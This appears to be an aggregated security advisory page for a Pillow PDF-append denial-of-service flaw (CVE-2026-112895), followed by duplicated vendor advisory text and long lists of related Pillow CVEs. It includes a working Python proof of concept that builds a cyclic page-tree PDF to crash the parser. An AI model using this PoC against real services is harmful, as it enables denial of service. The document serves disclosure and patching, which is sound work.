CVE-2026-112895

Summary

When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details

linearize_page_tree recurses on /Kids with no cycle or depth check:

• src/PIL/PdfParser.py:1078-1092

read_prev_trailer catches only a repeated offset:

• src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)

PoC

from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Run it:

$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact

A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)

• pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)

• pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)

• pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)

• pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)

• pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)

• pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)

• pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)

• pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)

• pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)
• pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)
• pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)
• pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)
• pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)
• pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)
• pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)
• pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)
• pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)
• pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.

TuxCare rebuilt pillow to address 11 CVEs. Fixed in 11.3.0.post7+tuxcare.

TuxCare rebuilt pillow to address 11 CVEs. Fixed in 11.2.1.post9+tuxcare.

TuxCare rebuilt pillow to address 11 CVEs. Fixed in 10.4.0.post11+tuxcare.

TuxCare rebuilt pillow to address 11 CVEs. Fixed in 9.5.0.post9+tuxcare.

TuxCare rebuilt pillow to address 10 CVEs. Fixed in 9.4.0.post10+tuxcare.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 8.4.0.post9+tuxcare.

Root has patched CVE-2026-112895 in the pillow package for Root:PyPI. Multiple fixed versions available.

This update for python-Pillow fixes the following issues:

• CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
• CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
• CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
• CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
• CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
• CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
• CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
• CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
• CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
• CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
• CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
• CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
• CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
• CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
• CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
• CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
• CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
• CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
• CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
• CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
• CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
• CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
• CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
• CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
• CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
• CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
• CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
• CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
• CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).